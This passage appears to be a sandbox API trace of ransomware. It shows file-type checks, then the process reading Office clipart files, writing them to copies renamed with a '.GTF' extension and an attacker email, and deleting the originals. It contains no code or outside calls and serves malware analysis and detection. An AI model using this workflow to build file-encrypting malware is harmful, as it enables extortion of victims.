	[0083.574] lstrlenW (lpString=".docx") returned 5
	[0083.574] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.574] lstrlenW (lpString=".pdf") returned 4
	[0083.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.574] lstrlenW (lpString=".xls") returned 4
	[0083.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.574] lstrlenW (lpString=".xlsx") returned 5
	[0083.574] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.574] lstrlenW (lpString=".ppt") returned 4
	[0083.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0083.574] lstrlenW (lpString=".zip") returned 4
	[0083.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.574] lstrlenW (lpString=".rar") returned 4
	[0083.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.574] lstrlenW (lpString=".bz2") returned 4
	[0083.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.574] lstrlenW (lpString=".7z") returned 3
	[0083.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0083.575] lstrlenW (lpString=".dbf") returned 4
	[0083.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0083.575] lstrlenW (lpString=".1cd") returned 4
	[0083.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0083.575] lstrlenW (lpString=".jpg") returned 4
	[0083.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0083.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0083.575] lstrlenW (lpString=".doc") returned 4
	[0083.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.575] lstrlenW (lpString=".docx") returned 5
	[0083.575] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.575] lstrlenW (lpString=".pdf") returned 4
	[0083.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.575] lstrlenW (lpString=".xls") returned 4
	[0083.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.575] lstrlenW (lpString=".xlsx") returned 5
	[0083.575] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.575] lstrlenW (lpString=".ppt") returned 4
	[0083.575] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0083.575] lstrlenW (lpString=".zip") returned 4
	[0083.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.575] lstrlenW (lpString=".rar") returned 4
	[0083.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.575] lstrlenW (lpString=".bz2") returned 4
	[0083.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.575] lstrlenW (lpString=".7z") returned 3
	[0083.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0083.575] lstrlenW (lpString=".dbf") returned 4
	[0083.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0083.576] lstrlenW (lpString=".1cd") returned 4
	[0083.576] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68
	[0083.576] lstrlenW (lpString=".jpg") returned 4
	[0083.576] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.576] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.576] lstrlenW (lpString="BL00390_.WMF") returned 12
	[0083.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.789] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=13102) returned 1
	[0083.789] CloseHandle (hObject=0x364) returned 1
	[0083.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 0x220
	[0083.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.789] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.789] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0083.790] GetLastError () returned 0x0
	[0083.790] ReadFile (in: hFile=0x364, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x332e, lpOverlapped=0x0) returned 1
	[0083.862] WriteFile (in: hFile=0x380, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x3330, lpOverlapped=0x0) returned 1
	[0083.863] ReadFile (in: hFile=0x364, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.863] WriteFile (in: hFile=0x380, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.863] SetEndOfFile (hFile=0x380) returned 1
	[0083.864] CloseHandle (hObject=0x380) returned 1
	[0083.865] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.865] SetEndOfFile (hFile=0x364) returned 1
	[0083.866] CloseHandle (hObject=0x364) returned 1
	[0083.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 1
	[0083.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0083.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0083.867] lstrlenW (lpString=".doc") returned 4
	[0083.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.867] lstrlenW (lpString=".docx") returned 5
	[0083.867] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.867] lstrlenW (lpString=".pdf") returned 4
	[0083.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.867] lstrlenW (lpString=".xls") returned 4
	[0083.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.867] lstrlenW (lpString=".xlsx") returned 5
	[0083.867] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.867] lstrlenW (lpString=".ppt") returned 4
	[0083.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0083.867] lstrlenW (lpString=".zip") returned 4
	[0083.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.867] lstrlenW (lpString=".rar") returned 4
	[0083.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.867] lstrlenW (lpString=".bz2") returned 4
	[0083.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.867] lstrlenW (lpString=".7z") returned 3
	[0083.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0083.867] lstrlenW (lpString=".dbf") returned 4
	[0083.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0083.867] lstrlenW (lpString=".1cd") returned 4
	[0083.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0083.867] lstrlenW (lpString=".jpg") returned 4
	[0083.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0083.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0083.868] lstrlenW (lpString=".doc") returned 4
	[0083.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.868] lstrlenW (lpString=".docx") returned 5
	[0083.868] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.868] lstrlenW (lpString=".pdf") returned 4
	[0083.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.868] lstrlenW (lpString=".xls") returned 4
	[0083.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.868] lstrlenW (lpString=".xlsx") returned 5
	[0083.868] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.868] lstrlenW (lpString=".ppt") returned 4
	[0083.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0083.868] lstrlenW (lpString=".zip") returned 4
	[0083.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.868] lstrlenW (lpString=".rar") returned 4
	[0083.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.868] lstrlenW (lpString=".bz2") returned 4
	[0083.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.868] lstrlenW (lpString=".7z") returned 3
	[0083.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0083.868] lstrlenW (lpString=".dbf") returned 4
	[0083.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0083.868] lstrlenW (lpString=".1cd") returned 4
	[0083.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0083.868] lstrlenW (lpString=".jpg") returned 4
	[0083.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.869] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.869] lstrlenW (lpString="BL00932_.WMF") returned 12
	[0083.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.869] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=19476) returned 1
	[0083.869] CloseHandle (hObject=0x364) returned 1
	[0083.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x220
	[0083.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.869] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.869] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0083.870] GetLastError () returned 0x0
	[0083.870] ReadFile (in: hFile=0x364, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x4c14, lpOverlapped=0x0) returned 1
	[0083.890] WriteFile (in: hFile=0x380, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x4c20, lpOverlapped=0x0) returned 1
	[0083.891] ReadFile (in: hFile=0x364, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.891] WriteFile (in: hFile=0x380, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.891] SetEndOfFile (hFile=0x380) returned 1
	[0083.897] CloseHandle (hObject=0x380) returned 1
	[0083.902] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.902] SetEndOfFile (hFile=0x364) returned 1
	[0083.905] CloseHandle (hObject=0x364) returned 1
	[0083.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.905] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 1
	[0083.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0083.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0083.906] lstrlenW (lpString=".doc") returned 4
	[0083.906] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.906] lstrlenW (lpString=".docx") returned 5
	[0083.906] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.906] lstrlenW (lpString=".pdf") returned 4
	[0083.906] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.906] lstrlenW (lpString=".xls") returned 4
	[0083.906] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.906] lstrlenW (lpString=".xlsx") returned 5
	[0083.906] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.906] lstrlenW (lpString=".ppt") returned 4
	[0083.906] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0083.906] lstrlenW (lpString=".zip") returned 4
	[0083.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.906] lstrlenW (lpString=".rar") returned 4
	[0083.906] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.906] lstrlenW (lpString=".bz2") returned 4
	[0083.906] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.906] lstrlenW (lpString=".7z") returned 3
	[0083.906] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0083.906] lstrlenW (lpString=".dbf") returned 4
	[0083.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0083.906] lstrlenW (lpString=".1cd") returned 4
	[0083.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0083.906] lstrlenW (lpString=".jpg") returned 4
	[0083.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0083.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0083.907] lstrlenW (lpString=".doc") returned 4
	[0083.907] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.907] lstrlenW (lpString=".docx") returned 5
	[0083.907] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.907] lstrlenW (lpString=".pdf") returned 4
	[0083.907] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.907] lstrlenW (lpString=".xls") returned 4
	[0083.907] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.907] lstrlenW (lpString=".xlsx") returned 5
	[0083.907] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.907] lstrlenW (lpString=".ppt") returned 4
	[0083.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0083.907] lstrlenW (lpString=".zip") returned 4
	[0083.907] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.907] lstrlenW (lpString=".rar") returned 4
	[0083.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.907] lstrlenW (lpString=".bz2") returned 4
	[0083.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.907] lstrlenW (lpString=".7z") returned 3
	[0083.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0083.907] lstrlenW (lpString=".dbf") returned 4
	[0083.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0083.907] lstrlenW (lpString=".1cd") returned 4
	[0083.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0083.907] lstrlenW (lpString=".jpg") returned 4
	[0083.907] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.908] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.908] lstrlenW (lpString="BS00076_.WMF") returned 12
	[0083.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.908] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=1330) returned 1
	[0083.908] CloseHandle (hObject=0x364) returned 1
	[0083.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x220
	[0083.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.908] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.909] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0083.909] GetLastError () returned 0x0
	[0083.909] ReadFile (in: hFile=0x364, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x532, lpOverlapped=0x0) returned 1
	[0083.918] WriteFile (in: hFile=0x368, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x540, lpOverlapped=0x0) returned 1
	[0083.919] ReadFile (in: hFile=0x364, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.919] WriteFile (in: hFile=0x368, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.919] SetEndOfFile (hFile=0x368) returned 1
	[0083.919] CloseHandle (hObject=0x368) returned 1
	[0083.921] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.921] SetEndOfFile (hFile=0x364) returned 1
	[0083.922] CloseHandle (hObject=0x364) returned 1
	[0083.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.922] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 1
	[0083.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
